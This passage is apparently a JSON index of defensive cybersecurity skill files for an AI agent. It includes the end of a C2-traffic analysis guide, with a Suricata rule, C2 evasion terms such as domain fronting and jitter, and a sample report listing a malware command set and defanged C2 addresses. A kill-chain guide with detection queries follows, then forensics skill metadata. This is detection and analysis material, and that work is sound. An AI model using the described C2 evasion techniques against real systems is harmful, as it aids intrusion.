MalwareX Self-Signed C2 Certificate\";\n    tls.cert_subject; content:\"CN=update.malicious.com\";\n    sid:9000013; rev:1;\n)\nEOF\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Beaconing** | Periodic check-in communication from malware to C2 server at regular intervals, often with jitter to avoid pattern detection |\n| **Jitter** | Randomization applied to beacon interval (e.g., 60s +/- 15%) to make the timing pattern less predictable and harder to detect |\n| **Malleable C2** | Cobalt Strike feature allowing operators to customize all aspects of C2 traffic (URIs, headers, encoding) to mimic legitimate services |\n| **Dead Drop** | Intermediate location (paste site, cloud storage, social media) where C2 commands are posted for the malware to retrieve |\n| **Domain Fronting** | Using a trusted CDN domain in the TLS SNI while routing to a different backend, making C2 traffic appear to go to a legitimate service |\n| **Fast Flux** | Rapidly changing DNS records for C2 domains to distribute across many IPs and resist takedown efforts |\n| **C2 Framework** | Software toolkit providing C2 server, implant generator, and operator interface (Cobalt Strike, Metasploit, Sliver, Covenant) |\n\n## Tools & Systems\n\n- **Wireshark**: Packet analyzer for detailed C2 protocol analysis at the packet level\n- **RITA (Real Intelligence Threat Analytics)**: Open-source tool analyzing Zeek logs for beacon detection and DNS tunneling\n- **CobaltStrikeParser**: Tool extracting Cobalt Strike beacon configuration from samples and memory dumps\n- **JA3/JA3S**: TLS fingerprinting method for identifying C2 frameworks by their TLS implementation characteristics\n- **Shodan/Censys**: Internet scanning platforms for mapping C2 infrastructure and identifying related servers\n\n## Common Scenarios\n\n### Scenario: Reverse Engineering a Custom C2 Protocol\n\n**Context**: A malware sample communicates with its C2 server using an unknown binary protocol over TCP port 8443. The protocol needs to be decoded to understand the command set and build detection signatures.\n\n**Approach**:\n1. Filter PCAP for TCP port 8443 conversations and extract the TCP streams\n2. Analyze the first few exchanges to identify the handshake/authentication mechanism\n3. Map the message structure (length prefix, type field, payload encoding)\n4. Cross-reference with Ghidra disassembly of the send/receive functions in the malware\n5. Identify the command dispatcher and document each command code's function\n6. Build a protocol decoder in Python for ongoing traffic analysis\n7. Create Suricata rules matching the protocol handshake or static header bytes\n\n**Pitfalls**:\n- Assuming the protocol is static; some C2 frameworks negotiate encryption during the handshake\n- Not capturing enough traffic to see all command types (some commands are rare)\n- Missing fallback C2 channels (DNS, ICMP) that activate when the primary channel fails\n- Confusing encrypted payload data with the protocol framing structure\n\n## Output Format\n\n```\nC2 COMMUNICATION ANALYSIS REPORT\n===================================\nSample:           malware.exe (SHA-256: e3b0c44...)\nC2 Framework:     Cobalt Strike 4.9\n\nBEACON CONFIGURATION\nC2 Server:        hxxps://185.220.101[.]42/updates\nBeacon Type:      HTTPS (reverse)\nSleep:            60 seconds\nJitter:           15%\nUser-Agent:       Mozilla/5.0 (Windows NT 10.0; Win64; x64)\nURI (GET):        /dpixel\nURI (POST):       /submit.php\nWatermark:        1234567890\n\nPROTOCOL ANALYSIS\nTransport:        HTTPS (TLS 1.2)\nJA3 Hash:         a0e9f5d64349fb13191bc781f81f42e1\nCertificate:      CN=Microsoft Update (self-signed)\nEncoding:         Base64 with XOR key 0x69\nCommand Format:   [4B length][4B command_id][payload]\n\nCOMMAND SET\n0x01 - Sleep          Change beacon interval\n0x02 - Shell          Execute cmd.exe command\n0x03 - Download       Transfer file from C2\n0x04 - Upload         Exfiltrate file to C2\n0x05 - Inject         Process injection\n0x06 - Keylog         Start keylogger\n0x07 - Screenshot     Capture screen\n\nINFRASTRUCTURE\nPrimary:          185.220.101[.]42 (AS12345, Hosting Co, NL)\nFailover:         91.215.85[.]17 (AS67890, VPS Provider, RU)\nDNS:              update.malicious[.]com -> 185.220.101[.]42\nRegistrar:        NameCheap\nRegistration:     2025-09-01\n\nDETECTION SIGNATURES\nSID 9000010:      HTTP beacon pattern\nSID 9000011:      JA3 TLS fingerprint\nSID 9000013:      C2 certificate match\n```\n","frontmatter":{"name":"analyzing-command-and-control-communication","description":"Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom protocols to reverse-engineer beacon patterns, command structures, data encoding, and infrastructure (primary servers, fallback domains, dead drops). Use after reverse engineering reveals network traffic needing protocol analysis or when building detection signatures for a framework like Cobalt Strike, Metasploit, or Sliver.\n","domain":"cybersecurity","subdomain":"malware-analysis","tags":["malware","C2","command-and-control","beacon","protocol-analysis"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1071.001","T1573","T1571","T1008","T1095"]},"isInternal":false,"tokens":3584,"sizeBytes":14467},{"name":"api-reference.md","path":"skills/analyzing-cyber-kill-chain/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-cyber-kill-chain/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# API Reference: Cyber Kill Chain Analysis Tools\n\n## Lockheed Martin Cyber Kill Chain Phases\n\n| Phase | Name | MITRE ATT&CK Tactic |\n|-------|------|---------------------|\n| 1 | Reconnaissance | TA0043 Reconnaissance |\n| 2 | Weaponization | TA0042 Resource Development |\n| 3 | Delivery | TA0001 Initial Access |\n| 4 | Exploitation | TA0002 Execution |\n| 5 | Installation | TA0003 Persistence, TA0004 Privilege Escalation |\n| 6 | Command & Control | TA0011 Command and Control |\n| 7 | Actions on Objectives | TA0010 Exfiltration, TA0040 Impact |\n\n## Courses of Action (COA) Matrix\n\n| COA | Description |\n|-----|-------------|\n| Detect | Alert on adversary activity |\n| Deny | Prevent phase completion |\n| Disrupt | Interrupt adversary mid-phase |\n| Degrade | Reduce adversary effectiveness |\n| Deceive | Expose activity via deception |\n| Destroy | Neutralize adversary infrastructure |\n\n## MITRE ATT&CK Navigator\n\n### JSON Layer Format\n```json\n{\n  \"name\": \"Kill Chain Coverage\",\n  \"versions\": {\"navigator\": \"4.8\", \"layer\": \"4.4\", \"attack\": \"13\"},\n  \"domain\": \"enterprise-attack\",\n  \"techniques\": [\n    {\"techniqueID\": \"T1566\", \"color\": \"#ff6666\", \"comment\": \"Phase 3: Delivery\"}\n  ]\n}\n```\n\n### CLI Usage\n```bash\n# Export layer via ATT&CK Navigator API\ncurl -X POST https://mitre-attack.github.io/attack-navigator/api/layers \\\n  -d @layer.json -o coverage_map.svg\n```\n\n## Splunk - Kill Chain Phase Queries\n\n### Phase 3 Detection (Delivery)\n```spl\nindex=email sourcetype=exchange action=delivered\n| eval has_macro=if(match(attachment, \"\\.(docm|xlsm|pptm)$\"), 1, 0)\n| where has_macro=1\n| stats count by sender, subject, attachment\n```\n\n### Phase 6 Detection (C2)\n```spl\nindex=proxy OR index=firewall\n| stats count AS connections, dc(dest) AS unique_dests by src_ip\n| where connections > 100 AND unique_dests < 3\n| sort - connections\n```\n\n## Elastic Security EQL\n\n### Multi-Phase Detection\n```eql\nsequence by host.name with maxspan=1h\n  [process where event.action == \"start\" and process.name == \"WINWORD.EXE\"]\n  [process where event.action == \"start\" and process.parent.name == \"WINWORD.EXE\"]\n  [network where destination.port == 443 and not destination.ip in (\"known_good\")]\n```\n\n## MISP - Kill Chain Tagging\n\n### Galaxy Cluster Tags\n```\nmisp-galaxy:kill-chain=\"reconnaissance\"\nmisp-galaxy:kill-chain=\"delivery\"\nmisp-galaxy:kill-chain=\"exploitation\"\nmisp-galaxy:kill-chain=\"installation\"\nmisp-galaxy:kill-chain=\"command-and-control\"\nmisp-galaxy:kill-chain=\"actions-on-objectives\"\n```\n\n### PyMISP Event Tagging\n```python\nfrom pymisp import PyMISP, MISPEvent\n\nmisp = PyMISP(\"https://misp.example.com\", \"API_KEY\")\nevent = MISPEvent()\nevent.add_tag(\"kill-chain:delivery\")\nevent.add_tag(\"mitre-attack-pattern:T1566 - Phishing\")\nmisp.update_event(event)\n```\n","isInternal":false,"tokens":770,"sizeBytes":2749},{"name":"SKILL.md","path":"skills/analyzing-cyber-kill-chain/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-cyber-kill-chain/SKILL.md","title":"analyzing-cyber-kill-chain","category":"anthropic-skill","format":"markdown","content":"---\nname: analyzing-cyber-kill-chain\ndescription: 'Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain\n  framework to identify which phases an adversary has completed, where defenses succeeded\n  or failed, and what controls would have interrupted the attack at earlier phases.\n  Use when conducting post-incident analysis, building prevention-focused security\n  controls, or mapping detection gaps to kill chain phases. Activates for requests\n  involving kill chain analysis, intrusion kill chain, attack phase mapping, or Lockheed\n  Martin kill chain framework.\n\n  '\ndomain: cybersecurity\nsubdomain: threat-intelligence\ntags:\n- kill-chain\n- Lockheed-Martin\n- MITRE-ATT&CK\n- intrusion-analysis\n- defense-in-depth\n- NIST-CSF\nversion: 1.0.0\nauthor: team-cybersecurity\nlicense: Apache-2.0\nnist_csf:\n- ID.RA-01\n- ID.RA-05\n- DE.CM-01\n- DE.AE-02\nmitre_attack:\n- T1566.001\n- T1190\n- T1547.001\n- T1071.001\n- T1486\n---\n# Analyzing Cyber Kill Chain\n\n## When to Use\n\nUse this skill when:\n- Conducting post-incident analysis to determine how far an adversary progressed through an attack sequence\n- Designing layered defensive controls with the goal of interrupting attacks at the earliest possible phase\n- Producing threat intelligence reports that communicate attack progression to non-technical stakeholders\n\n**Do not use** this skill as a standalone framework — combine with MITRE ATT&CK for technique-level granularity beyond what the 7-phase kill chain provides.\n\n## Prerequisites\n\n- Complete incident timeline with forensic artifacts mapped to specific adversary actions\n- MITRE ATT&CK Enterprise matrix for technique-level mapping within each kill chain phase\n- Access to threat intelligence on the suspected adversary group's typical kill chain progression\n- Post-incident report or IR timeline from responding team\n\n## Workflow\n\n### Step 1: Map Observed Actions to Kill Chain Phases\n\nThe Lockheed Martin Cyber Kill Chain consists of seven phases. Map all observed adversary actions:\n\n**Phase 1 - Reconnaissance**: Adversary gathers target information before attack.\n- Indicators: DNS queries from adversary IP, LinkedIn scraping, job posting analysis, Shodan scans of organization infrastructure\n\n**Phase 2 - Weaponization**: Adversary creates attack tool (malware + exploit).\n- Indicators: Malware compilation timestamps, exploit document metadata, builder artifacts in malware samples\n\n**Phase 3 - Delivery**: Adversary transmits weapon to target.\n- Indicators: Phishing emails, malicious attachments, drive-by downloads, USB drops, supply chain compromise\n\n**Phase 4 - Exploitation**: Adversary exploits vulnerability to execute code.\n- Indicators: CVE exploitation events in application/OS logs, memory corruption artifacts, shellcode execution\n\n**Phase 5 - Installation**: Adversary establishes persistence on target.\n- Indicators: New scheduled tasks, registry run keys, service installation, web shells, bootkits\n\n**Phase 6 - Command & Control (C2)**: Adversary communicates with compromised system.\n- Indicators: Beaconing traffic (regular intervals), DNS tunneling, HTTPS to uncommon domains, C2 framework signatures (Cobalt Strike, Sliver)\n\n**Phase 7 - Actions on Objectives**: Adversary achieves goals.\n- Indicators: Data staging/exfiltration, lateral movement, ransomware execution, destructive activity\n\n### Step 2: Identify Phase Completion and Detection Points\n\nCreate a phase matrix for the incident:\n```\nPhase 1: Recon        → Completed (undetected)\nPhase 2: Weaponize    → Completed (undetected — pre-attack)\nPhase 3: Delivery     → Completed; phishing email bypassed SEG\nPhase 4: Exploit      → Completed; CVE-2023-23397 exploited\nPhase 5: Install      → DETECTED: EDR flagged scheduled task creation (attack stalled here)\nPhase 6: C2           → Not achieved (installation blocked)\nPhase 7: Objectives   → Not achieved\n```\n\nFor each phase completed without detection, document the defensive control gap.\n\n### Step 3: Map to MITRE ATT&CK for Technique Detail\n\nEach kill chain phase maps to multiple ATT&CK tactics:\n- Delivery → Initial Access (TA0001)\n- Exploitation → Execution (TA0002)\n- Installation → Persistence (TA0003), Privilege Escalation (TA0004)\n- C2 → Command and Control (TA0011)\n- Actions on Objectives → Exfiltration (TA0010), Impact (TA0040)\n\nWithin each phase, enumerate specific ATT&CK techniques observed and map to existing detections.\n\n### Step 4: Identify Courses of Action per Phase\n\nFor each phase, document applicable defensive courses of action (COAs):\n- **Detect COA**: What detection would alert on adversary activity in this phase?\n- **Deny COA**: What control would prevent the adversary from completing this phase?\n- **Disrupt COA**: What control would interrupt the adversary mid-phase?\n- **Degrade COA**: What control would reduce the adversary's effectiveness in this phase?\n- **Deceive COA**: What deception (honeypots, canary tokens) would expose activity in this phase?\n- **Destroy COA**: What active defense capability would neutralize adversary infrastructure?\n\n### Step 5: Produce Kill Chain Analysis Report\n\nStructure findings as:\n1. Attack narrative (timeline of phases)\n2. Phase-by-phase analysis with evidence\n3. Detection point analysis (what worked, what failed)\n4. Defensive recommendation per phase prioritized by cost/effectiveness\n5. Control improvement roadmap\n\n## Key Concepts\n\n| Term | Definition |\n|------|-----------|\n| **Kill Chain** | Sequential model of adversary intrusion phases; breaking any link theoretically stops the attack |\n| **Courses of Action (COA)** | Defensive responses mapped to each kill chain phase: detect, deny, disrupt, degrade, deceive, destroy |\n| **Beaconing** | Regular, periodic C2 check-in pattern from compromised host to adversary server; detectable by frequency analysis |\n| **Phase Completion** | Adversary successfully finishes a kill chain phase and progresses to the next; defense-in-depth aims to prevent this |\n| **Intelligence Gain/Loss** | Analysis of whether detecting at Phase 5 (vs. Phase 3) reduced intelligence about adversary capabilities or intent |\n\n## Tools & Systems\n\n- **MITRE ATT&CK Navigator**: Overlay kill chain phases with ATT&CK technique coverage for integrated analysis\n- **Elastic Security EQL**: Event Query Language for querying multi-phase attack sequences in Elastic SIEM\n- **Splunk ES**: Timeline visualization and correlation searches for kill chain phase sequencing\n- **MISP**: Kill chain tagging via galaxy clusters for structured incident event documentation\n\n## Common Pitfalls\n\n- **Linear assumption**: Adversaries don't always progress linearly — they may skip phases (weaponization already complete from previous campaign) or loop back (re-establish C2 after detection).\n- **Ignoring Phases 1 and 2**: Reconnaissance and weaponization occur before the defender has visibility. Intelligence about these phases requires external sources (OSINT, threat intelligence).\n- **Missing insider threats**: The kill chain was designed for external adversaries. Insider threats may skip directly to Phase 7 without traversing earlier phases.\n- **Confusing with ATT&CK tactics**: The 7-phase kill chain and 14 ATT&CK tactics are complementary but not directly equivalent. Maintain distinction to prevent analytic confusion.\n","frontmatter":{"name":"analyzing-cyber-kill-chain","description":"Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain framework to identify which phases an adversary has completed, where defenses succeeded or failed, and what controls would have interrupted the attack at earlier phases. Use when conducting post-incident analysis, building prevention-focused security controls, or mapping detection gaps to kill chain phases. Activates for requests involving kill chain analysis, intrusion kill chain, attack phase mapping, or Lockheed Martin kill chain framework.\n","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["kill-chain","Lockheed-Martin","MITRE-ATT&CK","intrusion-analysis","defense-in-depth","NIST-CSF"],"version":"1.0.0","author":"team-cybersecurity","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1566.001","T1190","T1547.001","T1071.001","T1486"]},"isInternal":false,"tokens":1593,"sizeBytes":7309},{"name":"api-reference.md","path":"skills/analyzing-disk-image-with-autopsy/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-disk-image-with-autopsy/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-disk-image-with-autopsy%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":867,"sizeBytes":2908},{"name":"SKILL.md","path":"skills/analyzing-disk-image-with-autopsy/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-disk-image-with-autopsy/SKILL.md","title":"analyzing-disk-image-with-autopsy","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-disk-image-with-autopsy%2FSKILL.md -->","frontmatter":{"name":"analyzing-disk-image-with-autopsy","description":"Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["forensics","autopsy","disk-analysis","sleuth-kit","file-recovery","artifact-analysis"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1005","T1074.001","T1070.004","T1083"]},"isInternal":false,"tokens":2783,"sizeBytes":10759},{"name":"api-reference.md","path":"skills/analyzing-dns-logs-for-exfiltration/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-dns-logs-for-exfiltration/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-dns-logs-for-exfiltration%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":807,"sizeBytes":2708},{"name":"SKILL.md","path":"skills/analyzing-dns-logs-for-exfiltration/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-dns-logs-for-exfiltration/SKILL.md","title":"analyzing-dns-logs-for-exfiltration","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-dns-logs-for-exfiltration%2FSKILL.md -->","frontmatter":{"name":"analyzing-dns-logs-for-exfiltration","description":"Analyzes DNS query logs to detect data exfiltration via DNS tunneling, DGA domain communication, and covert C2 channels using entropy analysis, query volume anomalies, and subdomain length detection in SIEM platforms. Use when SOC teams need to identify DNS-based threats that bypass traditional network security controls.\n","domain":"cybersecurity","subdomain":"soc-operations","tags":["soc","dns","exfiltration","dns-tunneling","dga","c2-detection","splunk","threat-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","atlas_techniques":["AML.T0024","AML.T0056","AML.T0086"],"nist_csf":["DE.CM-01","DE.AE-02","RS.MA-01","DE.AE-06"],"mitre_attack":["T1048.003","T1071.004","T1567"]},"isInternal":false,"tokens":3129,"sizeBytes":11545},{"name":"api-reference.md","path":"skills/analyzing-docker-container-forensics/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-docker-container-forensics/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-docker-container-forensics%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":743,"sizeBytes":2915},{"name":"SKILL.md","path":"skills/analyzing-docker-container-forensics/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-docker-container-forensics/SKILL.md","title":"analyzing-docker-container-forensics","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-docker-container-forensics%2FSKILL.md -->","frontmatter":{"name":"analyzing-docker-container-forensics","description":"Investigate compromised Docker containers by analyzing images, layers, volumes, logs, and runtime artifacts to identify malicious activity and evidence.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["forensics","docker","container-forensics","container-security","image-analysis","runtime-investigation"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1610","T1611","T1613","T1612"]},"isInternal":false,"tokens":3197,"sizeBytes":12886},{"name":"api-reference.md","path":"skills/analyzing-email-headers-for-phishing-investigation/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-email-headers-for-phishing-investigation/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-email-headers-for-phishing-investigation%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":782,"sizeBytes":2772},{"name":"SKILL.md","path":"skills/analyzing-email-headers-for-phishing-investigation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-email-headers-for-phishing-investigation/SKILL.md","title":"analyzing-email-headers-for-phishing-investigation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-email-headers-for-phishing-investigation%2FSKILL.md -->","frontmatter":{"name":"analyzing-email-headers-for-phishing-investigation","description":"Parse and analyze email headers (Received chain, Return-Path, Message-ID) to trace the true origin of a phishing email and validate SPF, DKIM, and DMARC results to confirm or rule out sender spoofing. Use when triaging a suspicious or reported email, investigating a phishing incident, or verifying whether a message's sender domain was spoofed.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["forensics","email-analysis","phishing","spf","dkim","dmarc","header-analysis"],"version":"1.0","author":"mahipal","license":"Apache-2.0","atlas_techniques":["AML.T0052"],"nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1566.001","T1566.002","T1598.003"],"mitre_f3":{"version":"1.1","tactics":["reconnaissance","initial-access","stealth","resource-development"],"techniques":[{"id":"T1598","name":"Phishing for Information","tactic":"reconnaissance","source":"attack"},{"id":"T1660","name":"Phishing","tactic":"initial-access","source":"attack"},{"id":"T1672","name":"Email Spoofing","tactic":"stealth","source":"attack"},{"id":"F1032","name":"Impersonate Official","tactic":"initial-access","source":"f3"},{"id":"T1583.001","name":"Acquire Infrastructure: Domains","tactic":"resource-development","source":"attack"},{"id":"F1020.002","name":"Create Fake Materials: Fake Website","tactic":"resource-development","source":"f3"}]}},"isInternal":false,"tokens":3313,"sizeBytes":12691},{"name":"api-reference.md","path":"skills/analyzing-ethereum-smart-contract-vulnerabilities/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-ethereum-smart-contract-vulnerabilities/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ethereum-smart-contract-vulnerabilities%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":702,"sizeBytes":2643},{"name":"SKILL.md","path":"skills/analyzing-ethereum-smart-contract-vulnerabilities/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-ethereum-smart-contract-vulnerabilities/SKILL.md","title":"analyzing-ethereum-smart-contract-vulnerabilities","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ethereum-smart-contract-vulnerabilities%2FSKILL.md -->","frontmatter":{"name":"analyzing-ethereum-smart-contract-vulnerabilities","description":"Perform static and symbolic analysis of Solidity smart contracts using Slither and Mythril to detect reentrancy, integer overflow, access control, and other vulnerability classes before deployment to Ethereum mainnet.","domain":"cybersecurity","subdomain":"blockchain-security","tags":["ethereum","solidity","smart-contract","slither","mythril","blockchain","defi","audit"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.DS-01","PR.DS-02","ID.RA-01"],"mitre_attack":["T1190","T1059"]},"isInternal":false,"tokens":593,"sizeBytes":2950},{"name":"template.md","path":"skills/analyzing-golang-malware-with-ghidra/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-golang-malware-with-ghidra/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-golang-malware-with-ghidra%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":193,"sizeBytes":752},{"name":"api-reference.md","path":"skills/analyzing-golang-malware-with-ghidra/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-golang-malware-with-ghidra/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-golang-malware-with-ghidra%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":724,"sizeBytes":2602},{"name":"standards.md","path":"skills/analyzing-golang-malware-with-ghidra/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-golang-malware-with-ghidra/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-golang-malware-with-ghidra%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":264,"sizeBytes":882},{"name":"workflows.md","path":"skills/analyzing-golang-malware-with-ghidra/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-golang-malware-with-ghidra/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-golang-malware-with-ghidra%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":197,"sizeBytes":1606},{"name":"SKILL.md","path":"skills/analyzing-golang-malware-with-ghidra/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-golang-malware-with-ghidra/SKILL.md","title":"analyzing-golang-malware-with-ghidra","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-golang-malware-with-ghidra%2FSKILL.md -->","frontmatter":{"name":"analyzing-golang-malware-with-ghidra","description":"Reverse engineer Go-compiled malware in Ghidra by parsing Go buildinfo and pclntab structures, recovering stripped/obfuscated function names (e.g. via GoResolver), and extracting embedded module/dependency strings and types from Go binaries. Use when analyzing a Go-language malware sample, deobfuscating a garble-packed Go binary, or recovering function names and third-party dependencies from a stripped Go executable.","domain":"cybersecurity","subdomain":"malware-analysis","tags":["golang","ghidra","reverse-engineering","malware-analysis","binary-analysis","go-malware","disassembly"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1027","T1620","T1140","T1059"]},"isInternal":false,"tokens":2862,"sizeBytes":11346},{"name":"api-reference.md","path":"skills/analyzing-heap-spray-exploitation/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-heap-spray-exploitation/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-heap-spray-exploitation%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":618,"sizeBytes":2220},{"name":"SKILL.md","path":"skills/analyzing-heap-spray-exploitation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-heap-spray-exploitation/SKILL.md","title":"analyzing-heap-spray-exploitation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-heap-spray-exploitation%2FSKILL.md -->","frontmatter":{"name":"analyzing-heap-spray-exploitation","description":"Detect and analyze heap spray attacks in memory dumps using Volatility3 plugins to identify NOP sled patterns, shellcode landing zones, and suspicious large allocations in process virtual address space.","domain":"cybersecurity","subdomain":"malware-analysis","tags":["malware-analysis","memory-forensics","heap-spray","volatility3","exploit-analysis"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1203","T1059.007","T1106"]},"isInternal":false,"tokens":551,"sizeBytes":2396},{"name":"api-reference.md","path":"skills/analyzing-indicators-of-compromise/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-indicators-of-compromise/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-indicators-of-compromise%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":866,"sizeBytes":2926},{"name":"SKILL.md","path":"skills/analyzing-indicators-of-compromise/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-indicators-of-compromise/SKILL.md","title":"analyzing-indicators-of-compromise","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-indicators-of-compromise%2FSKILL.md -->","frontmatter":{"name":"analyzing-indicators-of-compromise","description":"Analyzes indicators of compromise (IOCs) including IP addresses, domains, file hashes, URLs, and email artifacts to determine maliciousness confidence, campaign attribution, and blocking priority. Use when triaging IOCs from phishing 